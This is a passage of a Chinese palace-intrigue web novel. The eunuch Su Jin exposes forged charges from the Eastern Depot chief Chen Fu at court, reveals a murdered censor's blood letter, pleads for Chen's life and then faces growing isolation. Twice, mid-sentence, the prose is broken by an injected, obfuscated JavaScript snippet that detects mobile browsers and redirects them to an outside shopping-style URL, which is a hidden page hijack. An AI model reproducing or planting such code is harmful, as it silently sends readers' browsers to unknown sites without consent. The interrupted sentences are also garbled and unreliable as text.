苏瑾说：“奴才只是怕说错话。” 新君说：“说吧，我不怪你。” 苏瑾沉默了一会儿，说：“陛下，东厂那些话，是诬陷。” 新君说：“你怎么知道？” 苏瑾说：“因为奴才没做过。” 新君看着他，说：“就凭你一句话？” 苏瑾说：“陛下可以查。查奴才这些年，跟哪个外官有来往，跟哪个后宫有私情。查到了，奴才认罪。查不到，那就是诬陷。” 新君点点头，说：“有道理。” 苏瑾说：“陛下，奴才斗胆问一句。参奴才的人，是谁？” 新君说：“东厂陈提督。” 苏瑾点点头，没再说话。 新君看着他，说：“你知道他为什么参你吗？” 苏瑾说：“知道。” 新君说：“为什么？” 苏瑾说：“因为奴才知道的太多。” 新君愣了一下，然后笑了。这次的笑，是真的笑。他说：“你这人，倒是实在。” 苏瑾说：“奴才不敢瞒陛下。” 新君站起来，走到窗边，背对着他，说：“陈提督这个人，我不太喜欢。他太狠了，容易惹事。但他有用，我得留着。” 苏瑾说：“奴才明白。” 新君转过身，看着他，说：“你呢？你有什么用？” 苏瑾说：“奴才愿意做陛下的耳目。” 新君说：“耳目？” 苏瑾说：“陛下想知道什么，奴才就去打听。陛下想查谁，奴才就去查。奴才在宫里十九年，认识的人多，知道的事多。有些事，东厂查不到，奴才查得到。” 新君盯着他，看了很久。 然后他走回来，坐下，说：“好。你下去吧。” 苏瑾站起来，跪安，退了出去。 走出御书房，他站在院子里，长长地出了一口气。 这一关，又过了。 但他知道，这只是暂时的。 陈提督不会甘心。他还会再动手。 他得准备得更充分一些。 接下来几天，苏瑾开始暗中调查陈提督。 他把陈提督的底细翻了个底朝天。 陈提督，本名陈福，山西人，四十五岁。早年是刑部的一个小官，因为巴结上魏忠，被调到东厂。魏忠倒台的时候，他及时撇清关系，反而升了官。现在他是东厂提督，手握生杀大权。 他的把柄，苏瑾知道好几件。 第一件，三年前魏忠害死周文渊的时候，他就在旁边。他是帮凶。周文渊的血书里提到过一个人，“陈姓狱官，助纣为虐，亲自动手”，说的就是他。 第二件，他抄别人的家，自己先拿一份。抄了二十多家，他拿了不下十万两。那些银子都藏在城外的一个庄子里，是他用别人的名义买的。庄子叫“李家庄”，地契上写的是一个叫李四的人，那是他远房表弟。 第三件，他有个儿子，在老家横行霸道，欺男霸女。去年强占了一个良家妇女，那女人上吊死了。苦主告到县衙，陈提督花了一千两把事情摆平。案卷还在县衙里，压着没办。 第四件，他收过一个盐商的贿赂，三万两，答应帮人家平事。结果事没平，钱没退，那盐商气得要告他。他派人去威胁，那盐商就闭嘴了。 第五件，第六件…… 苏瑾一条一条记下来，藏好。 这些是他的刀。 万一陈提督再动手，他就用这些刀，一刀一刀还回去。 但他不想走到那一步。 他只想活着。 活着比什么都重要。 这天夜里，老周又来了。 他带回来一个消息：陈提督那边，又有了新动静。 老周说：“我那个老兄弟说，陈提督最近在找一个人。” 苏瑾问：“找谁？” 老周说：“周文渊的遗孀。” 苏瑾心里一沉。 他说：“他找她干什么？” 老周说：“不知道。但听说，他派了好几个人去找，翻遍了整个京城。” 苏瑾沉默了一会儿，说：“知道了。谢谢你，老周。” 老周点点头，走了。 苏瑾坐在黑暗里，想了很久。 陈提督在找林氏。这说明什么？说明他可能知道了什么。也许他听说周文渊留下过血书，也许他听说有人找过林氏。不管怎样，他是在灭口。 林氏有危险。 苏瑾不能不管。 第二天，他让小顺子再去一趟那个茶馆，告诉林氏，让她躲起来。 小顺子去了，回来说，林氏已经不在那儿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459029|201258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 苏瑾问：“去哪儿了？” 小顺子说：“不知道。茶馆老板说，她三天前就走了，没留下话。” 苏瑾心里一紧。 他知道，林氏可能出事了。 但他没办法。他出不了宫，也找不到她。 他只能等。 等消息。 三天后，消息来了。 老周来说，林氏找到了。 苏瑾问：“在哪儿？” 老周说：“在东厂大牢。” 苏瑾心里一凉。 老周说：“听说她被抓进去两天了。陈提督亲自审她，问她血书在哪儿。她不说，被打得不成人形。” 苏瑾沉默了很久。 然后他问：“她说了吗？” 老周说：“没有。她嘴很硬，一个字都没说。” 苏瑾站起来，走到窗边，看着窗外。 窗外，月亮又升起来了。月光洒在院子里，白白的，凉凉的。 他想起那天在茶馆里，林氏看着他的眼神。那眼神里有绝望，也有希望。她把血书给了他，是把自己的命也给了他。 现在，她在东厂大牢里，被打得不成人形。 都是为了他。 苏瑾闭上眼睛，深吸一口气。 他知道，他不能再等了。 他得动手。 不是为了自己，是为了她。 第二天一早，他去找冯保。 冯保看见他来，愣了一下，然后往椅背上一靠，半天没说话。 苏瑾站在那儿，也没说话。 过了好一会儿，冯保才开口，声音里带着疲惫：“又是什么事？” 苏瑾从袖子里拿出那张血书，放在冯保面前。 冯保低头看了一眼，脸色就变了。他猛地抬起头，看着苏瑾，声音都压不住了：“这是……” 苏瑾说：“周文渊的血书。” 冯保倒吸一口凉气，手都抖了一下。他盯着那血书看了好一会儿，才抬起头，看着苏瑾：“你从哪儿弄来的？” 苏瑾说：“周文渊的遗孀给我的。” 冯保说：“她人呢？” 苏瑾说：“在东厂大牢里。陈提督抓了她，逼她说出血书的下落。” 冯保沉默了很久。 然后他把血书往桌上一放，说：“苏瑾，你知道这是什么东西吗？这是要命的东西！” 苏瑾说：“知道。” 冯保说：“知道你还往我这儿送？” 苏瑾说：“只有太后能压得住陈提督。” 冯保盯着他，看了很久。然后他苦笑了一下，说：“我上次说这是最后一次，你记得吧？” 苏瑾说：“记得。” 冯保说：“那你觉得我现在还有退路吗？” 苏瑾没说话。 冯保叹了口气，把血书收进袖子里。他说：“行，我帮你递。反正已经上了你的船，下不来了。” 苏瑾说：“多谢冯公公。” 冯保摆摆手：“别谢我。你自己小心点。陈提督那个人，什么事都干得出来。” 苏瑾点点头，转身要走。 “苏瑾。”冯保叫住他。 苏瑾回头。 冯保看着他，说：“你说，我这条老命，还能撑多久？” 苏瑾沉默了一会儿，说：“我不知道。” 冯保苦笑：“我也不知道。” 苏瑾推开门，走了。 他不知道冯保会不会真的递，不知道太后看了会有什么反应。但他做了他能做的。 剩下的，就看天意了。 两天后，消息传来。 太后震怒。 她亲自下旨，让东厂放人。陈提督跪在地上，磕头如捣蒜，说“误会误会”，说“不知道她是周大人的遗孀”，说“马上放人”。 林氏被放出来了。 苏瑾让人给她送了些银子，让她离开京城，回老家去。 她走了。 走之前，她托人带了一句话给苏瑾： “谢谢。我信对了人。” 苏瑾听了，站在窗前，看了很久的天。 他不知道自己做得对不对。 但他知道，他不能不这么做。 有些事，比活着更重要。 陈提督吃了这个亏，肯定不会善罢甘休。 但他暂时不会动手了。因为他知道，苏瑾手里有他的把柄。那封血书，足够让他掉脑袋。 他得收敛一些。 至少暂时收敛一些。 苏瑾知道，这只是暂时的。 但他不在乎。 他有时间。 有时间，就有机会。 这天晚上，小顺子来了。 他端着碗热汤，放在苏瑾面前。他看着苏瑾，说：“苏公公，您这几天瘦了。” 苏瑾说：“没事。” 小顺子说：“您是不是有什么事？我可以帮您。” 苏瑾看着他，说：“你帮不了。” 小顺子说：“您不说，怎么知道我帮不了？” 苏瑾沉默了一会儿，说：“小顺子，你怕不怕死？” 小顺子愣了一下，然后说：“怕。谁不怕？” 苏瑾说：“那你还往我这儿跑？” 小顺子说：“您救过我的命。我这条命，是您的。” 苏瑾看着他，心里微微一动。 这孩子，是真心对他好。 他说：“回去吧。以后少来。” 小顺子说：“我不。” 苏瑾说：“为什么？” 小顺子说：“因为您需要人。” 苏瑾没说话。 小顺子站起来，说：“汤趁热喝。我走了。” 他走了。 苏瑾看着那碗汤，端起来，喝了一口。 汤是热的，暖暖的，从嘴里一直暖到心里。 他放下碗，站起来，走到窗边。 窗外，月亮又升起来了。 他看着月亮，忽然想起小时候，在家乡，娘也给他熬过汤。 那时候他还小，不懂事，觉得娘熬的汤不好喝。 现在他想喝，再也喝不到了。 他站在窗前，站了很久。 月亮慢慢升到中天，又慢慢落下去。 天快亮了。 苏瑾转过身，回到桌边，坐下来。 他还有很多事要做。 他还不能停。 他得继续走。 一直走下去。 这条路，已经没有回头的地方了。 --- 6. 反杀 天顺十九年，五月初九。 这一天，苏瑾等了一个月。 从林氏被放出东厂大牢那天起，他就知道，陈提督不会善罢甘休。那个人，睚眦必报，吃了这么大的亏，一定会找机会还回来。 果然，机会来了。 五月初八晚上，老周来报信。 “陈提督那边，明天要动手。” 苏瑾看着他，没说话。 老周说：“他让人递了折子，参你勾结外官，私通后宫。证据是伪造的，但做得挺像。有信，有物证，还有一个人证。” 苏瑾问：“人证是谁？” 老周说：“一个叫小德子的东厂番子。他会在朝堂上作证，说你让他传过信，给外头的官员。” 苏瑾点点头。 老周说：“你打算怎么办？” 苏瑾说：“我自有办法。” 老周走了。 苏瑾坐在黑暗里，把那本账又翻了一遍。 陈提督这一招，够狠。人证物证都有，就算最后查出来是假的，也够他喝一壶的。而且是在朝堂上当众参他，他想躲都躲不掉。 但他不怕。 他有更狠的。 第二天一早，苏瑾穿上朝服，去了乾清宫。 今天是常朝，文武百官都要到。他虽然是太监，但司礼监秉笔太监有资格上朝，站在御阶之下，听候差遣。 他站在自己的位置上，低着头，一动不动。 但他能感觉到，有很多目光在看他。张谦益的目光，陈提督的目光，还有那些不认识的人的目光。有好奇的，有幸灾乐祸的，有等着看好戏的。 他不为所动。 辰时正，新君驾到。 百官跪迎，山呼万岁。新君坐上龙椅，说了一声“平身”，百官站起来，分列两侧。 朝会开始。 先是些例行公事，几个大臣汇报了些无关紧要的事。新君一一准了。然后，有人站了出来。 是陈提督。 他出列，跪下，说：“臣有本要奏。” 新君说：“奏。” 陈提督从袖子里拿出一个折子，双手呈上。太监接过去，递给新君。新君打开，看了一眼，脸色就变了。 他抬起头，看着陈提督，说：“你参的是谁？” 陈提督说：“臣参司礼监秉笔太监苏瑾，勾结外官，私通后宫，图谋不轨。” 此言一出，满殿哗然。 所有人都看向苏瑾。苏瑾站在那儿，脸上什么表情都没有，好像被参的不是他。 新君看着他，说：“苏瑾，你有何话说？” 苏瑾出列，跪下，说：“回陛下，臣冤枉。” 新君说：“陈提督有人证物证，你怎么说冤枉？” 苏瑾说：“臣请陛下，让臣看看那些证据。” 新君点点头，让太监把折子递给苏瑾。 苏瑾接过来，一页一页翻看。 折子里写了三件事。第一件，说他和外官有书信往来，信中称兄道弟，相约日后互相照应。证据是几封信，落款处有他的名字和印章。 第二件，说他私通后宫，和某个宫女有染。证据是一条手帕，说是那宫女送给他的定情信物。 第三件，说他图谋不轨，和某些人密谋，想要对新君不利。证据是一个人证，叫小德子，说亲眼看见他和那些人见面。 苏瑾看完，把折子还给太监。他抬起头，看着新君，说：“陛下，这些证据，都是假的。” 新君说：“你怎么知道是假的？” 苏瑾说：“臣请陛下，让臣当面对质。” 新君想了想，说：“准。” 陈提督脸色一变。 但他很快恢复了镇定。他挥了挥手，让人把小德子带上来。 小德子是个二十来岁的年轻人，长相普通，眼神飘忽。他被带上来，跪在地上，头也不敢抬。 新君说：“你就是小德子？” 小德子说：“是。” 新君说：“你说你亲眼看见苏瑾勾结外官？” 小德子说：“是。” 新君说：“什么时候？什么地方？跟谁？” 小德子说：“去年十月，在城外的一个茶馆里。跟一个姓王的官员。他们说了很久的话，小的听见了。” 新君看向苏瑾，说：“你去年十月，出过宫吗？” 苏瑾说：“回陛下，臣去年一整年，没出过宫。司礼监有记录，可以查。” 新君让人去查。过了一会儿，太监回来说：“司礼监记录，苏瑾去年一年，确实没出过宫。” 新君看着小德子，眼神变冷了。 小德子慌了，说：“那……那可能是小的记错了。不是去年十月，是前年……” 苏瑾说：“前年，臣也没出过宫。前年一整年，臣都在宫里。司礼监记录，一查便知。” 小德子脸色煞白，说不出话来。 新君说：“来人，把这个诬陷他人的东西拖下去，打二十板子，再问。” 小德子被拖了下去，哭喊着“冤枉”，但没人理他。 陈提督站出来，说：“陛下，就算这个人证有问题，还有物证。那些信，那些手帕，都是真的。” 苏瑾说：“陛下，臣请看看那些信。” 太监把信递给他。苏瑾看了看，笑了。 他说：“陛下，这些信的字迹，确实像臣的。但臣写字，有个习惯。每写一个字，最后一笔都会微微往上一挑。这是先帝教臣的，说这样写字有精神。先帝曾说，字要有骨有肉，更要有气。这一挑，就是气。” 他顿了顿，指着信上的字，继续说：“但这些信上的字，最后一笔都是平的。平的，没有力道，没有精神。一看就是模仿的。而且模仿的人，只学了形，没学到神。” 新君让人拿来苏瑾平时批的奏折，一对比，果然如此。苏瑾的字，每一笔最后一划都微微上扬，像鸟儿的尾巴。而那些信上的字，平平的，死死的，一看就不对。 陈提督的脸色更难看了。 但他还不死心。他说：“陛下，就算信是假的，还有手帕。那手帕是宫女送给他的，有宫女作证。” 苏瑾说：“陛下，臣请问，那个宫女叫什么名字？” 陈提督说：“叫春杏，在御花园当差。” 新君让人把春杏叫来。 春杏是个十七八岁的姑娘，长得很清秀。她被带上来，跪在地上，浑身发抖。 新君说：“春杏，这手帕是你的吗？” 春杏看了一眼，说：“是……是奴婢的。” 新君说：“你送给苏瑾的？” 春杏低着头，说：“是。” 新君说：“什么时候？” 春杏说：“去年……去年夏天。” 苏瑾看着她，说：“春杏姑娘，你认识我？” 春杏抬起头，看了他一眼，又低下头，说：“认……认识。” 苏瑾说：“那你告诉我，我是哪个衙门的？平时在哪儿当差？” 春杏愣住了。她张了张嘴，说不出话来。 苏瑾说：“你连我是谁都不知道，怎么会送手帕给我？这手帕，是有人给了你银子，让你出来作证的吧？” 春杏的脸涨得通红，一句话也说不出来。她趴在地上，浑身发抖。 新君的脸色已经很难看了。他看着陈提督，说：“陈福，这就是你的人证物证？” 陈提督跪下去，磕头如捣蒜：“陛下，臣……臣也是被人骗了。这些证据，是下面的人送上来的，臣不知情……” 新君说：“不知情？你是东厂提督，你不知情，谁知情？” 陈提督说不出话来。 苏瑾忽然开口：“陛下，臣也有本要奏。” 新君看着他，说：“你奏什么？” 苏瑾从袖子里拿出一张纸，双手呈上。 太监接过去，递给新君。 新君一看，脸色大变。 那是周文渊血书的抄本。 新君抬起头，看着苏瑾，眼神锐利：“这是什么东西？” 苏瑾说：“回陛下，这是三年前，监察御史周文渊死前写的血书。” 新君说：“周文渊？那个‘暴病而亡’的御史？” 苏瑾说：“是。但周文渊不是暴病而亡，是被人害死的。” 新君说：“被谁？” 苏瑾说：“被当时的东厂提督魏忠。而帮凶，就是现在的东厂提督陈福。” 陈提督浑身一抖，脸色惨白。他扑通一声跪下去，说：“陛下，他血口喷人！臣冤枉！” 新君不理他，看着苏瑾，说：“你怎么知道？” 苏瑾说：“这封血书，是周文渊的遗孀交给臣的。周文渊死前，咬破手指，用血写下了这封信，指认魏忠杀人灭口。信里还提到一个人，‘陈姓狱官，助纣为虐，亲自动手’。这个人，就是陈福。” 新君看着血书抄本，上面确实写着那行字。 苏瑾继续说：“周文渊的遗孀，把这封血书藏了三年。三年来，她四处告状，但没有人理她。因为魏忠势大，没人敢管。后来魏忠倒台，她以为终于能申冤了，结果陈福又当上了东厂提督。她更不敢出来了。” 新君说：“那她为什么现在交给你？” 苏瑾说：“因为陈福在查她。陈福知道她手里有血书，派人到处找她。她在东厂大牢里关了三天，被打得不成人形，就是为了逼她说出血书的下落。但她一个字都没说。后来臣托人找到她，她把血书给了臣。” 新君看向陈提督，眼神冰冷：“陈福，你抓了周文渊的遗孀？” 陈提督额头冒汗，说：“臣……臣是听说她手里有违禁的东西，才……” 新君打断他：“违禁的东西？什么违禁的东西？是她丈夫的血书违禁，还是她丈夫的冤屈违禁？” 陈提督说不出话来。 新君把血书又看了一遍。看完，他抬起头，看着陈提督，说：“陈福，你还有什么话说？” 陈提督跪在地上，浑身发抖，一句话也说不出来。 整个乾清宫，鸦雀无声。 所有人都看着陈提督，看着这个刚才还在参人的东厂提督，现在像一条死狗一样趴在地上。 新君站起来，走到御阶边上，居高临下地看着他。他说：“陈福，朕待你不薄。你当东厂提督，朕信任你，重用你。你就是这么报答朕的？” 陈提督磕头如捣蒜：“臣有罪……臣有罪……求陛下开恩……” 新君说：“开恩？你害死周文渊的时候，有没有想过开恩？你抓他遗孀的时候，有没有想过开恩？” 陈提督说不出话来。 新君转过身，走回龙椅，坐下。他说：“传旨，陈福革去东厂提督之职，交三司会审。东厂所有涉案人员，一律严查。” 陈提督瘫在地上，被人拖了下去。 乾清宫里，安静得像一座坟墓。 新君看着苏瑾，说：“苏瑾，你还有什么事要奏？” 苏瑾跪下，说：“臣还有一事。” 新君说：“说。” 苏瑾说：“臣求陛下，开恩。” 新君愣住了：“开恩？给谁开恩？” 苏瑾说：“给陈福开恩。” 此言一出，满殿皆惊。 张谦益瞪大眼睛，像看怪物一样看着苏瑾。其他人也都面面相觑，不知道苏瑾在说什么。 新君也愣了。他说：“苏瑾，你说什么？” 苏瑾说：“臣求陛下，饶陈福一命。” 新君说：“他刚才还在参你，要置你于死地。你现在替他求情？” 苏瑾说：“是。” 新君说：“为什么？” 苏瑾说：“因为陈福虽然该死，但他死了，东厂就乱了。东厂乱了，朝局就乱了。陛下刚登基不久，经不起这么大的动荡。” 新君沉默了。 苏瑾继续说：“臣不是为陈福求情，是为陛下求情。杀一个陈福容易，但杀了他之后的事，才是麻烦。他是魏忠旧部，手下有一帮人。那些人，现在都看着他。他死了，那些人会怎么想？他们会怕，会慌，会铤而走险。” 新君看着他，眼神复杂。 苏瑾说：“臣斗胆，请陛下三思。” 新君沉默了很久。 整个乾清宫，安静得能听见呼吸声。所有人都在等，等新君开口。 终于，新君开口了。 他说：“苏瑾，你知道你在说什么吗？” 苏瑾说：“臣知道。” 新君说：“你知道，还替他求情？” 苏瑾说：“臣只知道，陛下需要的是一个稳定的朝局，不是一个血流成河的东厂。” 新君盯着他，看了很久。 然后他挥了挥手，说：“退朝。” 百官跪送，新君起身离去。 苏瑾跪在地上，一动不动。 他知道，新君听进去了。 但他也知道，新君看他的眼神，变了。 从这一刻起，新君不再只是信任他，也开始忌惮他。 这是他求情换来的代价。 但他必须这么做。 杀了陈福，痛快一时，后患无穷。留着陈福，让他感恩戴德，让他知道自己的命是苏瑾救的，比杀了他更有用。 这是他在宫里十九年学会的。 有时候，留人一命，比杀人更狠。 退朝后，苏瑾回到司礼监值房。 他坐在椅子上，闭上眼睛，长长地出了一口气。 这一关，过了。 但下一关，已经在路上了。 小顺子跑进来，满脸兴奋：“苏公公！您太厉害了！朝堂上把陈提督说得哑口无言，最后还替他求情！您不知道，外面都传遍了，说您……” 苏瑾睁开眼，看着他，说：“出去。” 小顺子愣住了：“苏公公……” 苏瑾说：“出去。我想一个人待会儿。” 小顺子点点头，退了出去。 苏瑾又闭上眼睛。 他脑子里乱得很。 刚才在朝堂上，他一直在走钢丝。每一步都走在刀尖上，说错一句话，可能就没命了。但他走过去了。他赢了。 但他不觉得高兴。 因为他知道，赢的代价是什么。 新君看他的那个眼神，他忘不了。那眼神里有欣赏，有信任，但更多的是忌惮。一个新君，开始忌惮一个太监，这不是好事。 他得想办法，让新君不那么忌惮他。 但他能有什么办法？ 他只是一个太监。他没有根，没有后，没有家，没有靠山。他唯一的本钱，就是那本账。但那本账，既是他的刀，也是他的催命符。 他想了很久，没想出答案。 傍晚，冯保来了。 冯保推开门，走进来，看着他。过了好一会儿，冯保说：“苏瑾啊苏瑾，你今天可是出尽了风头。” 苏瑾说：“冯公公说笑了。” 冯保说：“我没说笑。”他坐下来，叹了口气，“你知道外面现在怎么说你吗？” 苏瑾说：“不知道。” 冯保说：“说你是‘扳倒东厂提督的人’。说你是‘连新君都要让三分的人’。说你是……” 苏瑾打断他：“冯公公，这些都不是好话。” 冯保看着他，说：“你知道不是好话，为什么还要那么做？” 苏瑾说：“我只能那么做。” 冯保沉默了一会儿，说：“你是对的。杀了陈福，确实后患无穷。”他顿了顿，“但你知道，你今天这一手，也让很多人睡不着觉。” 苏瑾说：“我知道。” 冯保说：“张谦益回去以后，摔了杯子。他怕你，怕你下一个对付的就是他。” 苏瑾说：“我不会对付他。” 冯保说：“但他不这么想。” 苏瑾没说话。 冯保站起来，走到窗边，背对着他，说：“苏瑾，你在宫里十九年了，应该比我更清楚，这个宫里，最怕的是什么。” 苏瑾说：“是什么？” 冯保说：“是有人太聪明。” 苏瑾愣住了。 冯保转过身，看着他，说：“太聪明的人，活不长。你自己小心吧。” 说完，他走了。 苏瑾坐在椅子上，看着门关上。 冯保的话，像一根针，扎在他心里。 太聪明的人，活不长。 他知道这个道理。他一直都知道。所以他一直装傻，一直低调， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459030|201258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直让自己看起来不那么聪明。 但今天，他装不了了。 今天，他必须聪明。 因为他要活。 因为他要救那个为了他被打得不成人形的女人。 因为他要让陈提督知道，动他是要付出代价的。 他做了他该做的事。 至于后果，他只能承受。 夜深了。 苏瑾还坐在值房里，没有点灯。 窗外的月光透进来，照在他身上，白白的，凉凉的。 他在想今天的事，想新君的眼神，想冯保的话，想接下来该怎么办。 他不知道该怎么办。 但他知道，他不能停。 停了，就是死。 他得继续走。 继续往前走。 第二天，消息传来。 陈提督被关在东厂大牢里，等着三司会审。他的手下，被抓了一大半。东厂里人心惶惶，谁也不知道下一个会是谁。 苏瑾听了，没说话。 第三天，又传来消息。 陈提督的家人，被抄家了。城外那个庄子，被查了出来。里面藏的银子，足足十二万两。 新君震怒。 陈提督必死无疑。 苏瑾听了，还是没说话。 他知道陈提督会死。但他也知道，陈提督死之前，一定会咬出很多人。那些跟他一起干过坏事的人，那些给他送过银子的人，那些被他拿住把柄的人，都会被他咬出来。 朝堂上，又要动荡了。 而他，站在风口浪尖上。 所有人都会看着他。 第四天，张谦益来了。 张谦益是夜里来的，一个人，没带随从。他站在苏瑾面前，脸色很难看。 “苏公公，”他说，“我来，是想问你一句话。” 苏瑾说：“张阁老请讲。” 张谦益说：“你下一个，是不是要对付我？” 苏瑾看着他，说：“不是。” 张谦益说：“我不信。” 苏瑾说：“张阁老，我如果真想对付你，就不会等到今天。” 张谦益盯着他，看了很久。然后他问：“那你想要什么？” 苏瑾说：“我只想活着。” 张谦益愣住了。 苏瑾说：“张阁老，你在朝中这么多年，应该知道，有些人是想活着，有些人是想活得好。我是第一种。我只想活着，不想跟任何人争。” 张谦益沉默了很久。 然后他叹了口气，说：“苏公公，你这个人，我看不懂。” 苏瑾说：“不用看懂。只要知道，我不会害你，就够了。” 张谦益点点头，走了。 苏瑾看着他的背影，心里想，张谦益暂时不会动手了。 但只是暂时。 一旦他发现自己威胁到张谦益的利益，张谦益还是会动手。 他得继续准备。 第五天，有人送了一封信来。 信是陈提督写的，从大牢里递出来的。信很短，只有一句话： “苏公公，救命之恩，来世再报。” 苏瑾看完，把信烧了。 他知道陈提督的意思。陈提督知道自己活不了了，但苏瑾替他求情的事，他记在心里。他在说，下辈子再还。 苏瑾不需要他来世报。 他只需要这辈子，少一个敌人。 这就够了。 第六天，新君召见他。 苏瑾去了御书房。新君坐在书案后面，脸色比上次更复杂。看见他进来，指了指椅子：“坐。” 苏瑾坐下。 新君看着他，说：“苏瑾，你那天为什么要替陈福求情？” 苏瑾说：“臣说过了，是为了朝局。” 新君说：“真的只是这样？” 苏瑾说：“是。” 新君盯着他，说：“不是因为你早就知道他会死，想让他死前感恩戴德？” 苏瑾心里一紧，但脸上什么表情都没有。他说：“臣没那么聪明。” 新君笑了，笑声里听不出是什么意思。他说：“你聪明不聪明，朕知道。”他顿了顿，“陈福快死了。临死前，他让人带话出来，说谢谢你。” 苏瑾说：“臣不敢当。” 新君说：“你知道他说什么吗？” 苏瑾说：“不知道。” 新君说：“他说，苏瑾这个人，是条汉子。” 苏瑾没说话。 新君站起来，走到窗边，背对着他，说：“苏瑾，朕问你一句话。” 苏瑾说：“陛下请讲。” 新君说：“你想要什么？” 苏瑾愣住了。 新君转过身，看着他，说：“你帮朕抓了贪官，你帮朕揭了旧案，你替陈福求情，让他死前感恩戴德。你做这些，想要什么？” 苏瑾沉默了一会儿，说：“臣只想活着。” 新君说：“就这么简单？” 苏瑾说：“就这么简单。” 新君盯着他，看了很久。 然后他走回来，坐下，说：“朕知道了。你下去吧。” 苏瑾站起来，跪安，退了出去。 走出御书房，他站在院子里，长长地出了一口气。 新君的问话，比陈提督的陷害更危险。因为那是在试探他，试探他有没有野心，试探他会不会威胁到皇权。 他说只想活着，新君信了吗？ 他不知道。 但他知道，从今以后，新君看他的眼神，会更复杂。 信任，但不放心。 重用，但防着。 这就是他要面对的。 他只能承受。 回到值房，小顺子已经等在门口了。 小顺子看见他，跑过来，说：“苏公公，您没事吧？” 苏瑾说：“没事。” 小顺子说：“新君找您什么事？” 苏瑾说：“没什么事。” 小顺子不信，但没再问。他从怀里掏出一个纸包，递给苏瑾，说：“给您带的点心，御膳房新做的。” 苏瑾接过来，打开，是一块桂花糕。他咬了一口，甜的。 小顺子看着他吃，脸上带着笑。 苏瑾说：“你怎么老给我带吃的？” 小顺子说：“您太瘦了，多吃点。” 苏瑾没说话。 他想起自己刚入宫那年，也像小顺子这么大，也给别人端茶倒水，也给别人带吃的。那时候，没人对他好。他饿了，只能自己忍着。 现在有人对他好了，他却不习惯。 他吃完了那块糕，说：“小顺子，你以后少来。” 小顺子说：“又来。您每次都说这句。” 苏瑾说：“我是认真的。” 小顺子说：“我也是认真的。您救过我的命，我这条命是您的。您让我走，我偏不走。” 苏瑾看着他，不知道该说什么。 小顺子说：“苏公公，我知道您是为我好。但我不怕。您去哪，我就去哪。您出事，我就跟着出事。反正我也没什么亲人，这条命本来就是捡来的。” 苏瑾沉默了很久。 然后他说：“那你留下来吧。” 小顺子笑了，笑得像个孩子。 苏瑾看着他，心里微微一动。 十九年了，他第一次觉得，这宫里，有人跟他是一起的。 也许，这就是缘分吧。 夜深了。 苏瑾坐在值房里，把那本账又翻了一遍。 陈提督的事，告一段落了。但新的敌人，已经在路上了。 张谦益，还有那些怕他的人，忌惮他的人，想除掉他的人。他们都在暗处，等着他犯错。 他不能犯错。 他得继续准备，继续观察，继续等。 窗外，月亮又升起来了。 苏瑾站起来，走到窗边，推开窗户。 月光洒进来，照在他脸上。他看着天上的月亮，想起今天新君的眼神，想起冯保的话，想起小顺子的笑。 他不知道明天会怎样。 但他知道，他得继续活着。 活着，就还有希望。 --- 7. 孤臣 苏瑾赢了陈提督，赢了那一场朝堂上的生死对决。 但他发现，赢了之后，比输了更孤独。 那天之后，宫里的人看他的眼神都变了。以前是冷淡，是疏远，是避之不及。现在是畏惧，是忌惮，是躲着走。 没有人敢跟他说话。 没有人敢靠近他。 他走在宫里的甬道上，前面的人远远看见他，就侧身低头，让他先过。等他走过去，那些人会站在原地，等他走远了，才敢继续走。有一次他走得急，拐过一个弯，正好撞见两个小太监在说话。那两个人看见他，脸色煞白，扑通就跪下了，磕头如捣蒜，嘴里说着“苏公公饶命”。苏瑾看着他们，一句话都没说，从他们身边走了过去。走出很远，还能听见身后急促的脚步声——那两个人是爬着逃走的。 他走进司礼监的值房，原本在屋里说话的人，立刻安静下来，低着头退出去。好像他身上带着什么不干净的东西，靠近了就会倒霉。就连那几个新来的、平时趾高气扬的年轻太监，看见他也跟老鼠见了猫似的，贴着墙根溜走。 他去档案库查资料，库房管事的老刘虽然还是给他开门，但脸上的笑容没了，眼神里多了些东西。那东西叫怕。老刘跟了他这么多年，现在也怕他。 苏瑾知道，这不是因为他变厉害了，是因为他变可怕了。 一个能扳倒东厂提督的人，一个能在朝堂上翻云覆雨的人，一个让新君都要忌惮三分的人——这样的人，谁不怕？ 但怕和敬，是两回事。 怕你的人，不会靠近你。敬你的人，才会。 现在，没人靠近他。 只有小顺子还像以前一样，往他跟前凑。 小顺子现在来得更勤了。每天一早，他准点端着热茶进来；晌午送盘点心；夜里值完班，还要跑来说几句话才肯回去睡。 苏瑾说过他几次，让他不必如此。小顺子不听，笑嘻嘻的：“您不是说让我留下吗？留下就得伺候好。” 苏瑾便不再说了。 但每次看着小顺子忙进忙出的背影，他心里总有一丝不安。这孩子靠他太近了。万一哪天他出事，小顺子跑不掉。 他得想办法，给这孩子留条后路。 这天下午，冯保来了。 冯保推开门，走进来，看着他。过了好一会儿，冯保说：“苏瑾，你现在可真是‘大红人’了。” 苏瑾说：“冯公公说笑了。” 冯保说：“我没说笑。”他坐下来，叹了口气，“张谦益那边，这几天动静不小。” 苏瑾看着他，没说话。 冯保说：“他在四处打听你的底细。不是查，是打听。问的都是你早年的事，问得很细。” 苏瑾说：“让他打听。” 冯保看着他，说：“你就一点都不担心？” 苏瑾说：“担心有用？” 冯保愣了一下，然后苦笑：“你说得对，担心没用。”他站起来，走到窗边，背对着他，“苏瑾，你这条路，越来越险了。” 